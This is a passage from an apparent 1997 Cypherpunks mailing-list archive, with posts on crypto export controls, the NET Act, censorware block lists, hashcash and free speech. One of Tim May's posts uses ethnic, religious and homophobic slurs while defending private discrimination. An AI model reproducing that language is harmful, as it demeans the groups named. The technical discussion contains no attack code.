4yAFDDLaCBnidyw0Fz//YGpgNhCYphKDyx1yNF7Aeyni0Kv0YovAtg==
=8nzS
-----END PGP SIGNATURE-----






From balden at mail.bc.rogers.wave.ca  Thu Dec 18 14:36:33 1997
From: balden at mail.bc.rogers.wave.ca (Bruce Balden)
Date: Fri, 19 Dec 1997 06:36:33 +0800
Subject: Can I do Pubkic Domain that -
Message-ID: <01bd0c02$8bd98c00$69737018@eudoxus.bc.rogers.wave.ca>



Exportability rules are based up the notion that the USA has the best
technology (perhaps true) and that non-Americans, such as the notorious
Chinese, are too far behind.

Whereas the truth is that many countries in the have the necessary
technology and have possessed it for a long time.  There is absolutely no
evidence that the US gov't crypto export rules are impeding drug cartels in
the least.

So there is a peverse mix cognitive dissonance, xenophobia ("what do those
chinks know anyway?!!), and sycophantism (telling the President what he
wants to hear).

Somebody please tell me how this idiocy can persist.

-----Original Message-----

>At 12:58 PM 12/18/97 -0700, Tim May wrote:
>>At 12:04 PM -0700 12/18/97, David Honig wrote:
>>>At 06:33 PM 12/17/97 -0800, Bruce Balden wrote:
>>>>
>>>>Those guys just never learn that not only is the barn door open, but
that
>>>>contents were never theirs to begin with.
>>>>
>>>
>>>They blew their chance to regulate *computers* as military tech.
>>>Computers, after all, were developed by the military for ballistic,
bombs,
>>>and codes.
>>
>>I can't follow your logic here. Several points:
>

>>
>
>
>The develoment of computers can be traced along numerous threads.  One
>thread (from say the 40's to 50's)
>traces the encouragement of the codebreaking, ballistics, h-bomb fluid
>dynamics, and missile
>control community.
>
>By the 50's the computer was done, and improvements were just making better
>implementations.
>
>It is admittedly oversimplifying to follow only one thread (e.g., only
>mathematical or engineering development),
>but in the early days (way before intel) computers were built for the uses
>I describe.
>
>
>
>
>------------------------------------------------------------
>      David Honig                   Orbit Technology
>     honig at otc.net                  Intaanetto Jigyoubu
>
> M-16 : Don Quixote :: PGP : Louis Freeh
>         Let freedom ring (or screech at 28.8)
>
>
>
>
>
>
>
>
>
>
>
>






From vicente at certisign.com.br  Thu Dec 18 14:36:45 1997
From: vicente at certisign.com.br (Vicente Silveira)
Date: Fri, 19 Dec 1997 06:36:45 +0800
Subject: UK spooks invent RSA, DH in 1973
In-Reply-To: <199712181435.JAA13916@homeport.org>
Message-ID: <3499A38A.61C7A738@certisign.com.br>



Adam Shostack wrote:
> 
> While this does prevent making things up out of whole cloth, it does
> not address the possibility that the hash has been broken by the
> agency, nor the possibility that documents will be selectively
> released by the agency to hurt certain parties.
> 
> None of this addresses the real flaw, which is the inability to value
> your patent if theres a chance that a party will remove the secrecy in
> whihc they invented it, and thus nullify your patent.
> 
> The whole prior art argument is that you could reasonably have heard
> about this other thing, or that the patent office could have found it,
> and thus your patent should not have been granted.
> 
> If the patent office had examiners with clearence who checked patents
> agianst various government claims and denied the patent on the ground
> that there exists prior, classified art, that would be vaugely fine;
> it would be a predictable risk as the patent is pending.
> 
> Adam
> 

I agree with you, I just mentioned that it was technically
feasible, but, as you pointed out, the ethical and legal
aspects of this issue makes this kind of ( submarine ? )
patents undesirable.


-- 

Vicente Silveira - vicente at certisign.com.br
  CertiSign Certificadora Digital Ltda.






From tcmay at got.net  Thu Dec 18 14:50:50 1997
From: tcmay at got.net (Tim May)
Date: Fri, 19 Dec 1997 06:50:50 +0800
Subject: Clinton signs draconian antipiracy law, from the Netly News
In-Reply-To: 
Message-ID: 



At 3:18 PM -0700 12/18/97, Declan McCullagh wrote:

>> One of the key provisions was that home taping, or archival taping, or
>> taping for any _noncommercial_ use was now fully legal, with not even the
>> hint of illegality.
>
>Instead of relying on your (admittedly) hazy recollections of the act, you
>might want to look at it again. If you have a cite, I'll plug it into
>Lexis.
>

As I said in my article, I recalled the name as being the "Home Recording
Act." A search shows several hundred hits on this, many dealing with the
implications for home taping. The implications of the HRA for home taping
of CDs and other music were discussed extensively in Cyberia and other fora.

The text at one of the URLs, http://www.law.cornell.edu/uscode/17/ch10.html

shows this:

"� 1008. Prohibition on certain infringement actions

"No action may be brought under this title alleging infringement of
copyright based on the manufacture, importation, or distribution of a
digital
audio recording device, a digital audio recording medium, an analog
recording device, or an analog recording medium, or based on the
noncommercial use by a consumer of such a device or medium for making
digital musical recordings or analog musical recordings. "


>It's clear from the plain text of the statute that the NET Act applies to
>nonprofit infringing ("reproduction or distribution") of copyrighted
>material. Archival purposes are perhaps not infringing. But dubbing 4,500
>CDs from copies borrowed from libraries, as your friend did, probably is.

Nope. It ain't. At least not of the HRA.

The HRA places no limits on the numbers of such tapings. All that matters
is that he is not selling or renting them out.

The HRA did not try to solve the "lost business" side of the equation, as
this is a hopeless fever swamp to wander into, as the alternate history of
whether my friend would have _bought_ the 4500 CDs is unknowable. Though,
knowing him, "Hell no." The blank tape tax was designed to be a minor piece
of compensation to the recording industry. The tape tax is paid by the tape
manufacturer or importer, not the customer, though of course the tax is
ultimately paid by the consumer.

(The extent to which the new law collides with the HRA is an issue, which I
addressed in my points about how can the CopyCops know when the copies were
made, etc.)


--Tim May


The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From pooh at efga.org  Thu Dec 18 14:57:55 1997
From: pooh at efga.org (Robert A. Costner)
Date: Fri, 19 Dec 1997 06:57:55 +0800
Subject: Clinton signs draconian antipiracy law, from the Netly News
In-Reply-To: 
Message-ID: <3.0.3.32.19971218175239.0376bc10@mail.atl.bellsouth.net>



At 02:46 PM 12/18/97 -0700, Tim May wrote:
>"� 1008. Prohibition on certain infringement actions
>
>"No action may be brought under this title alleging infringement 
>...based on the
>noncommercial use by a consumer of such a device or medium for making
>digital musical recordings or analog musical recordings. "
...
>The HRA places no limits on the numbers of such tapings. All that matters
>is that he is not selling or renting them out.

The N.E.T. Act redefines commercial gain to include if you exchange copies
of recordings with people.  Presumably if you and I were to trade CD's we
might be  engaged in commercial gain.  If we trade copies we definitely
appear to be financially gaining under the act's new definition.




  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh at efga.org  
     http://www.efga.org/            run PGP 5.0 for my public key






From declan at well.com  Thu Dec 18 14:59:49 1997
From: declan at well.com (Declan McCullagh)
Date: Fri, 19 Dec 1997 06:59:49 +0800
Subject: Censorware Search Engine update and request for files
Message-ID: 



Over at the Netly News Network, we've decided it's time to update our
Censorware Search Engine. For those of you who haven't checked it
recently, it's a one-of-a-kind web site that lets you see if you've been
blocked by filtering software:

  http://cgi.pathfinder.com/netly/spoofcentral/censored/

We're planning to update this with newer decrypted lists from some of the
vendors like SurfWatch, CyberPatrol, and so on. If you have a list and
you'd like it to be included, please send it along.

-Declan







From whgiii at invweb.net  Thu Dec 18 15:45:28 1997
From: whgiii at invweb.net (William H. Geiger III)
Date: Fri, 19 Dec 1997 07:45:28 +0800
Subject: Censorware Search Engine update and request for files
In-Reply-To: 
Message-ID: <199712182329.SAA05550@users.invweb.net>



-----BEGIN PGP SIGNED MESSAGE-----

In , on 12/18/97 
   at 02:37 PM, Declan McCullagh  said:

>Over at the Netly News Network, we've decided it's time to update our
>Censorware Search Engine. For those of you who haven't checked it
>recently, it's a one-of-a-kind web site that lets you see if you've been
>blocked by filtering software:

>  http://cgi.pathfinder.com/netly/spoofcentral/censored/

>We're planning to update this with newer decrypted lists from some of the
>vendors like SurfWatch, CyberPatrol, and so on. If you have a list and
>you'd like it to be included, please send it along.

Just out of curiousity I did a search on pathfinder.com :)

CyberPatrol:
    http://binone.pathfinder.com/cgi-bin/boa SexActs

CyberSitter:
    pathfinder.com

SurfWatch:
    http://bubblemouth.pathfinder.com/@@srbndqaaaaaaaeeg/vibe/archive/independant/blackspot
    http://mouth.pathfinder.com/@@srbndqaaaaaaaeeg/vibe/archive/independant/blackspot


No surprise that Cybersitter has the entire domain blocked. Odd the
SurfWatch blocks the archives for Vibe magazine yet does not block
www.vibe.com. The URL blocked by CyberPatrol is invalid.

There was someone who did this awhile back and promptly had his domain
blocked by these self appointed protectors of "Truth, Democracy, and The
American Way".

I was rather disappointed (though not surprised) watching the Censorship
Summit a couple of weeks ago that no one took these self appointed Censors
to task on the fact that they block sites not mearly on the type of
information contained (sex,drugs,violence,...ect) but also block based on
political content that disagrees with their own beliefs. Sure fire way to
get a site blocked is not to put "dirty" pictures up on it but to put up
anything that brings to light the actions of these groups.

An intriguing side note is that ALL these groups considers their Censor
Lists to be IP. Add that with the new Criminalization of copyright
infringement and we may see Declan sharing a cell with Jim Bell. :)


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a-sha1
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNJmxr49Co1n+aLhhAQJkywP8CS6UNARjhqKDVCH8J7OI82kTd7PuypGG
A8kF31GLvkSOiLrjHzK2rMQr+1lM9Q0yzg268Mp6Ui7arruBRdfuK6082mBefGIf
Bot68wjNK5Q0zNtruJ1tGUY6SLlTfySDYCjkcnMv8pXwq2EGn3iif1FLnqUpVLgw
a0JR9o0VrF4=
=m1sT
-----END PGP SIGNATURE-----






From declan at well.com  Thu Dec 18 15:58:56 1997
From: declan at well.com (Declan McCullagh)
Date: Fri, 19 Dec 1997 07:58:56 +0800
Subject: Censorware Search Engine update and request for files
In-Reply-To: <199712182329.SAA05550@users.invweb.net>
Message-ID: 



CyberSitter now blocks part of the CSE URL ("/spoofcentral/"), if I
remember properly. Of course it also blocks any other site that has the
word "spoofcentral" as part of the URL. Talk about shotgun-style
approaches.

CyberPatrol's "boa" blocking is abbreviated. I think the cgi script is
used for our bulletin board discussion areas, usually devoted to such
purient topics as the First Pooch.

> CyberPatrol:
>     http://binone.pathfinder.com/cgi-bin/boa SexActs
[...]
> An intriguing side note is that ALL these groups considers their Censor
> Lists to be IP. Add that with the new Criminalization of copyright
> infringement and we may see Declan sharing a cell with Jim Bell. :)

They already tried. See:
  http://cgi.pathfinder.com/netly/editorial/0,1012,453,00.html



                          To Milburn's mind, our act of revealing the
truth
                     about his company's product was, literally, criminal.
In
                     August, he told us that he had asked the U.S.
Department
                     of Justice to launch a criminal investigation into
the
                     publication of our article. He was particularly upset
with
                     one paragraph that included a fragment of his
database
                     demonstrating that CyberSitter expressly bans info
about
                     gay society and culture. 

                         He wrote: "Your willful reverse engineering and
                     subsequent publishing of copyrighted source code is a
                     clear violation of US Copyright law. While we would
                     easily prevail in a civil court in seeking damages...
we will
                     seek felony criminal prosecution under 17 USCS sect
                     503(a) of the Copyright Act, and are preparing
                     documentation to submit with the criminal complaint
to
                     FBI (sic)." 


-Declan







From nobody at bureau42.ml.org  Thu Dec 18 16:14:27 1997
From: nobody at bureau42.ml.org (bureau42 Anonymous Remailer)
Date: Fri, 19 Dec 1997 08:14:27 +0800
Subject: ADL
Message-ID: 



Re: FC: ADL and CyberPatrol

On Wed, 17 Dec 1997 at 00:04:33 -0500, Declan McCullagh wrote:

> From: "David Smith" 
> To: fight-censorship at vorlon.mit.edu
> Date: Tue, 16 Dec 1997 21:25:23 +0000
> Subject: Cyber Patrol to Block Hate Speech
> 
> Cyber Patrol to block hate speech
> http://www.news.com/News/Item/0,4,17431,00.html?dtn.head
> 
> Summary -- Cyber Patrol has teamed up with the Anti-
> Defamation League to offer a "special version" of sites 
> reviewed by the ADL.
> 
> Here's the weirdest thing about the story --- if you 
> access a site on their "hate list" you don't get a block, 
> but rather you get redirected to the ADL website.
> 
> ...
> Blocking access isn't enough -- you will now be told what 
> to read and what to think about prejudice, bigotry, and 
> race relations.
> 
> I don't have anything for or against the ADL -- just that 
> history dictates that this power will be used and abused 
> to stifle thought and free expression.

Much as I agree in principle with counteracting mindless
prejudice such as that directed against Jews, and despite
the fact that I grew up among Jews and studied with my
best friend in grade school when he took his religious
lessons, the ADL has zero credibility with me for a very
good reason: 

I had a role in an organization that, while it was populated 
with a good many bible-thumping Christians, took great care 
not to encourage, promote or give a platform to voices of
unreason. The nature of the organization was political and
in no way dealt with religious issues or issues which would
find people dividing along any religious or ethnic line.

Nonetheless, I was stunned one day to read mention of our 
organization characterized as "anti-semitic" by the ADL in 
a national publication. To have provided such erroneous 
information to the author of the article the ADL either had
to have been grossly negligent in its gathering and analysis
of facts or had to be pursuing other agenda in using the 
clout of its pronouncements. I rather think it may have 
been the latter (the organization was Constitutional and 
anti-income tax, while the ADL probably harbors more than
its share of socialists who bristle at any challenge to the
taxing authority of the state).

My qualification to judge the ADL's deficiency in this 
matter was absolute. I had personally written and/or reviewed
every piece of literature the organization had published, 
including newsletters, from its inception. There was no
propagation of policy or position with which I was not
personally acquainted, and nowhere had the organization ever
published anything that could even vaguely be interpreted
as anti-semitic.

So I regard the ADL with extreme suspicion, not on the
vaporous basis of pre-judgement or hearsay but on the solid
basis of having been visited with unwarranted and groundless 
personal damage at their hands, not unlike the small club
of people who know the treachery of Sixty Minutes for what 
it is by personal experience.

The ADL does its proclaimed purpose a radical disservice by
verging sharply from the straight and narrow that is
mandatory in any holier-than-thou endeavor. I would lay down
my life for any of a number of my Jewish friends, but I 
wouldn't give the ADL the time of day even if the Apocalypse 
were upon us.

VeracityMongerII






From rah at shipwright.com  Thu Dec 18 16:16:04 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Fri, 19 Dec 1997 08:16:04 +0800
Subject: Lions and Tigers and Micromoney, Oh, My...
In-Reply-To: 
Message-ID: 



At 4:21 pm -0500 on 12/18/97, William H. Geiger III wrote:


> Well IMNSHO hashcahs mail sucks!! It opens up the pandora's box of usage
> based charges for everything done on the 'net. What will be next? FTP
> sites charging hashcash for DL's? WebPages charging hashcash per hit? DNS
> servers charging per lookup? Routers charging per packet?

Yup, and you'll like it too. Especially if it efficiently prices
net.resources so well that the cost of "administering" and "controlling"
them disappears, well past the last basis point compared to our current
network resource "allocation" scheme, with time-based fixed pricing,
"peering" agreements, etc. ...

For details of the foundations of this, cf Kevin Kelly's "Out of Control",
or any e$ rant I've written in the past few years. Remember my joke about a
router which saves enough out of operations to buy a copy of itself?
Micromoney mitochondria, picomoney processor food, and so forth... Look,
Ma, no (human) hands...


> Note: In Adams proposal for hashcash only charges the user CPU cycles. The
> incentive for wide implementation of hashcash is going to be a real ecash
> based system where the implementors can make $$$ off it.

Yup. Money's fungible, and all that. In collision algorithms like hashcash
and MicroMint, you're effectively using computation time as copy protection
on unique digital objects, but *only* for that, like you're only using the
cost of intaglio printing to create unique paper bearer certificates,
dollar bills being a good example. You still have to add *value* to those
unique objects, and for that you need a market to set a price. (Sorry, Adam)

The parallels are even greater for things like hashcash, or at least
MicroMint. Like real coins in meatspace, the first collision-coin's
expensive to "mint", but the rest are vanishingly cheap. However, you *do*
want to make them to be worth something besides cycle time. That's because
the cost of anything is the foregone alternative, and all that. If you
don't attach fair value to unique useful items, someone else will and start
arbitraging them anyway. Ticket scalpers are a classic case of this. Might
as well get into the business explicitly instead of creating it for someone
else, I figure.

Anyway, all this fun with money requires, horrors, an actual financial
intermediary. Yet another private currency, in other words. Probably whole
bunches of them, I bet, all competing to fill each available market niche.
CryptoAnarchy, MarketEarth, Geodesic Economy, whatever...

> I have *PAID IN FULL* for my Inet usage!! What bits I send over the Inet,
> how many bits I send, and who I send them to is NO ONE's BUSINESS but my
> own!!! -- Last Anarchist of the Inet.

Sounds more like an industrio-socialist, to me. :-). Naw... Just pulling
your leg. Put your Glock away...

Seriously, I can't imagine fixed prices for *anything* once we have
instantaneously settled cash auction markets for anything you can send down
a wire. Fixed pricing is an artifact of long production runs,
hierarchically organized "economies of scale", and all that. Moore's "Law"
creates diseconomies of scale, particularly for information goods and
services on a public network. Nodes become cheaper compared to lines, which
gives you geodesic networks instead of hierarchical ones, all that stuff.
The, um, net, result is auction pricing and cash settlement. Not will you
pay in full, Mr. Geiger, but you'll pay cheaper, too. :-). Lots cheaper, I
bet...

If you could have cash-on-the-routerhead packet switching, it would behoove
each router to have as many connections as possible to sell it's services
down. You get a *more* geodesic network. That means lots of smaller routers
instead of Forbin-sized ones that we're trying to build now. Frankly,
super-routers are lost cause. No switch can monopolize the traffic, or
it'll choke and the network will route around it. That's the nice thing
about Moore's "Law" on the net.

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: 







From whgiii at invweb.net  Thu Dec 18 16:23:18 1997
From: whgiii at invweb.net (William H. Geiger III)
Date: Fri, 19 Dec 1997 08:23:18 +0800
Subject: Censorware Search Engine update and request for files
In-Reply-To: 
Message-ID: <199712190010.TAA05961@users.invweb.net>



-----BEGIN PGP SIGNED MESSAGE-----

In , on 12/18/97 
   at 06:40 PM, Declan McCullagh  said:

>CyberSitter now blocks part of the CSE URL ("/spoofcentral/"), if I
>remember properly. Of course it also blocks any other site that has the
>word "spoofcentral" as part of the URL. Talk about shotgun-style
>approaches.

>CyberPatrol's "boa" blocking is abbreviated. I think the cgi script is
>used for our bulletin board discussion areas, usually devoted to such
>purient topics as the First Pooch.

>> CyberPatrol:
>>     http://binone.pathfinder.com/cgi-bin/boa SexActs
>[...]
>> An intriguing side note is that ALL these groups considers their Censor
>> Lists to be IP. Add that with the new Criminalization of copyright
>> infringement and we may see Declan sharing a cell with Jim Bell. :)

>They already tried. See:
>  http://cgi.pathfinder.com/netly/editorial/0,1012,453,00.html

I wonder if we can't turn the tables on him an file both civil and
criminal fraud chrages against him. Last time I looked it was still
illegal to sell an apple and deliver an orange even if you convice the
buyers that it is an apple. :)

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a-sha1
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNJm7WY9Co1n+aLhhAQIOTwP+MIDqfv7AiQkA6BwsXKtUA5j6pwBU3+3q
YarQqHbn0/SAqdPY7W4KqizcEjOSTfiHxlkYl5YTohZ75zkV6b2UYY2YY5WZjCJ7
tnvb/mjUm7TQDfmKhwqpgxG8QJxajxIJyJJOYGN2AMPzDSnbrZ5zYOGI99/XANCb
mPY+9F8jQIE=
=71Lh
-----END PGP SIGNATURE-----






From declan at well.com  Thu Dec 18 16:23:18 1997
From: declan at well.com (Declan McCullagh)
Date: Fri, 19 Dec 1997 08:23:18 +0800
Subject: Freedom Forum report on the State of the First Amendment
Message-ID: 



On Tuesday I stopped by the Freedom Forum's conference, where they released
a report on the state of the First Amendment. It's worth checking out:

  http://www.freedomforum.org/newsstand/reports/sofa/intro.asp

	Each day of this nation's life, in meetings of school boards,
	library boards, city councils, state legislatures, and Congress
	itself, figures of respect and renown rise on behalf of a
	supportive public and proclaim, "I believe in the First
	Amendment, but—" Each such announcement precedes a proposal
	to regulate our speech in order to elevate our lives.

	And so we have one of the more equisite ironies of a
	freedom-loving society: Americans truly believe they believe in
	free speech. Still, there is always that "but," that
	qualification of their commitment to the rights and values
	embedded in those 45 words of the First Amendment. In survey
	after survey, Americans stand steadfast in support of the general
	notion of free speech. In the particulars, however, we waver.
	When asked to countenance the very speech the First Amendment was
	drawn to protect—the speech of the radical, the rascal, even
	the revolting—we become unsure. We do believe in free speech
	for ourselves, but for the most part we are not so sure about
	others, especially those whose words offend our taste, threaten
	our children, or challenge our convictions.

Also at the conference:

   http://www.freedomforum.org/first/1997/12/16sofa.asp

   Keynote speaker Keen Umbehr told the audience that he lost his job,
   his community and even family and friends during his First Amendment
   battle with the county commission in Wabaunsee County, Kansas.

   Umbehr, who had a contract to haul the county's trash, also wrote
   editorials for the local newspaper, often alleging violations of law
   and other misconduct by the county commission. "What I wrote was true,
   and I could back it up," Umbehr said. "I believed that my
   constitutional rights were live and real, waiting to be activated. I
   felt that writing articles and speaking out about the government not
   only was my right, it was my duty to speak the truth, regardless of
   the fact that my whole livelihood was based on that county contract."

   The county terminated his contract in retaliation for his articles.
   Umbehr sued, and the case went all the way to the U.S. Supreme Court.
   In June 1996 the court upheld Umbehr's free-speech rights.

   "The troops on the front lines of the First Amendment fight
   desperately need some help," Umbehr told the audience of attorneys,
   scholars and experts. "You have the knowledge in here, and they need
   it out there."

-Declan







From update at liveupdate.com  Thu Dec 18 16:24:28 1997
From: update at liveupdate.com (LiveUpdate News)
Date: Fri, 19 Dec 1997 08:24:28 +0800
Subject: Crescendo News - Version 3.0 now available
Message-ID: <199712190010.QAA00634@toad.com>



You're receiving this email because you downloaded Crescendo in the
past, and we want to keep you posted on the latest developments here 
at LiveUpdate.  We hope you are enjoying Crescendo!  In case you
haven't already heard, Crescendo version 3.0 has been released.  This
new version includes cool new features like auto-detach, playlist 
support, encryption, Java and JavaScript programmability and more.
Download a copy today from http://www.liveupdate.com/dl.html.

As an added bonus at this time of release, and to ensure an enjoyable 
listening experience, we can now offer you, for a limited time, the 
Roland Virtual Sound Canvas Music Pack (VSC-550W). This is Roland's 
software wavetable Sound Canvas and includes a complete set of 
software tools that will help you create and edit MIDI files for many 
uses. Included in the VSC-550W Music Pack:
    * The Roland GS software synthesizer, 
    * Cakewalk Express music sequencing software and 
    * DoReMiX unique music creation software 
all on one CD-ROM.

The Roland Virtual Sound Canvas Music Pack sells regularly for $57.  
Add Crescendo PLUS for Netscape and Internet Explorer, and the 
entire package is worth almost $100. 

By special arrangement with Edirol Corporation (distributors of the
Roland Sound Canvas in North America), when you purchase the Crescendo
Plus Roland Edition today, you will receive all the above software 
listed for a special value price of only $65 (including Shipping & 
Handling!)  Note: This offer is only available to addresses
in North America.

Simply go to http://www.liveupdate.com/soundcanvas.html and we'll send
it right out to you!

If you wish to be removed from this list, please send a message
to newsletter at liveupdate.com.

Warmest holiday wishes,

Your friends at LiveUpdate






From declan at well.com  Thu Dec 18 18:06:58 1997
From: declan at well.com (Declan McCullagh)
Date: Fri, 19 Dec 1997 10:06:58 +0800
Subject: Censorware Search Engine update and request for files
In-Reply-To: 
Message-ID: 



At 14:37 -0800 12/18/97, Declan McCullagh wrote:
>  http://cgi.pathfinder.com/netly/spoofcentral/censored/

Some of the pathfinder servers seem to be having problems. If you keep
reloading the page, it should work.

-Declan







From wombat at mcfeely.bsfs.org  Thu Dec 18 18:07:05 1997
From: wombat at mcfeely.bsfs.org (Rabid Wombat)
Date: Fri, 19 Dec 1997 10:07:05 +0800
Subject: Warez 397
In-Reply-To: <199712182031.OAA13218@harrier.sasknet.sk.ca>
Message-ID: 




Larry;

Knock it off, or I'll have to hide your booze again.






From tcmay at got.net  Thu Dec 18 18:44:42 1997
From: tcmay at got.net (Tim May)
Date: Fri, 19 Dec 1997 10:44:42 +0800
Subject: Can I do Pubkic Domain that -
In-Reply-To: 
Message-ID: 



At 2:54 PM -0700 12/18/97, David Honig wrote:

>I was alluding to the licensing of ordinary photocopiers and fax machines
>(and computers,
>and now internet connections) in statist nations, to prevent their "misuse".
>In the 50's, the government should have
>(from the control point of view) used the hysteria of the times to regulate
>*domestic* use of reprogrammable computers.

Nope. The government of the United States had no authority in the 1950s to
regulate fax machines (which existed then), mimeograph machines (which
existed then), or computers (which existed then).

Perhaps you were thinking of the Soviet Union?

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From tcmay at got.net  Thu Dec 18 19:16:29 1997
From: tcmay at got.net (Tim May)
Date: Fri, 19 Dec 1997 11:16:29 +0800
Subject: Freedom Forum report on the State of the First Amendment
In-Reply-To: 
Message-ID: 



At 4:46 PM -0700 12/18/97, Declan McCullagh wrote:

>   Keynote speaker Keen Umbehr told the audience that he lost his job,
>   his community and even family and friends during his First Amendment
>   battle with the county commission in Wabaunsee County, Kansas.
>
>   Umbehr, who had a contract to haul the county's trash, also wrote
>   editorials for the local newspaper, often alleging violations of law
>   and other misconduct by the county commission. "What I wrote was true,
>   and I could back it up," Umbehr said. "I believed that my
>   constitutional rights were live and real, waiting to be activated. I
>   felt that writing articles and speaking out about the government not
>   only was my right, it was my duty to speak the truth, regardless of
>   the fact that my whole livelihood was based on that county contract."
>
>   The county terminated his contract in retaliation for his articles.
>   Umbehr sued, and the case went all the way to the U.S. Supreme Court.
>   In June 1996 the court upheld Umbehr's free-speech rights.

This is part of why the First Amendment is being eroded constantly. It is
seen as a _political_ issue.

The role of the _county_ in hiring or not hiring Keen Umbehr is
problematic, but not because of prior restraint issues.

Were far, far, far fewer persons hired by the government, the issue would
be much simpler.

Suppose RealBig Corporation fired Umbehr for his views. Would a First
Amendment issue have arisen? Of course not. In a free society, RealBig is
free to hire whom it wishes, and to refuse to hire niggers, homos,
perverts, Jews, whatever. And to fire anyone who wrote opinions the
managers at RealBig disliked.

Mr. Umbehr may have had a cause of action based on his employment contract,
and the various rules which govern government employees, but it was hardly
a First Amendment case.

Except in the "liberal" sense, which is exactly why the First is being eroded.

--Tim May


--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From ravage at ssz.com  Thu Dec 18 19:19:16 1997
From: ravage at ssz.com (Jim Choate)
Date: Fri, 19 Dec 1997 11:19:16 +0800
Subject: Freedom Forum report on the State of the First Amendment (fwd)
Message-ID: <199712190334.VAA06193@einstein.ssz.com>



Forwarded message:

> Date: Thu, 18 Dec 1997 19:08:31 -0700
> From: Tim May 
> Subject: Re: Freedom Forum report on the State of the First Amendment

> This is part of why the First Amendment is being eroded constantly. It is
> seen as a _political_ issue.
> 
> Suppose RealBig Corporation fired Umbehr for his views. Would a First
> Amendment issue have arisen?

But Tim, governmental systems are *not* businesses, and should not simply as
a matter of course be operated as such either. There is more involved than a
simple bottem line. Perhaps you should talk to Horatio...


    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From ravage at ssz.com  Thu Dec 18 19:37:20 1997
From: ravage at ssz.com (Jim Choate)
Date: Fri, 19 Dec 1997 11:37:20 +0800
Subject: CNET Dispatch: gadgets; stop spam; IE 4.0 feedback (fwd)
Message-ID: <199712190352.VAA06268@einstein.ssz.com>



Forwarded message:

> Date:         Thu, 18 Dec 1997 17:50:32 -0800
> From: CNET Digital Dispatch 
> Subject:      CNET Dispatch: gadgets; stop spam; IE 4.0 feedback
> To: DISPATCH at DISPATCH.CNET.COM
> 
> CNET Digital Dispatch: gadgets; stop spam; IE 4.0 feedback
> December 18, 1997
> 
> *******************************************
> Good things come in the mail...like cool portable computers,
> mega speaker systems, and little digital cameras. Want more?
> See our lead story this week, the "Geek's guide to gadgets"
> (item 1).
> 
> Unfortunately, bad things can come in the mail, too, such as
> pointless junk mail and chain letters.  Fortunately, you can
> take control.  This week's feature on stopping spam (item 2)
> has our top tips.
> 
> Rafe Needleman
> Editor, CNET.COM
> rafe_needleman at cnet.com


    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From mj at creative.net  Thu Dec 18 19:49:17 1997
From: mj at creative.net (mj at creative.net)
Date: Fri, 19 Dec 1997 11:49:17 +0800
Subject: Censorware Search Engine update and request for files
In-Reply-To: <199712182329.SAA05550@users.invweb.net>
Message-ID: 



One comment in this article:

>  http://cgi.pathfinder.com/netly/editorial/0,1012,453,00.html
>
 may be incorrect. The comment is:


>    I have one major objection to all of the
>                   software filters currently on the market: Consumers
>                     have no way of knowing what's being blocked.
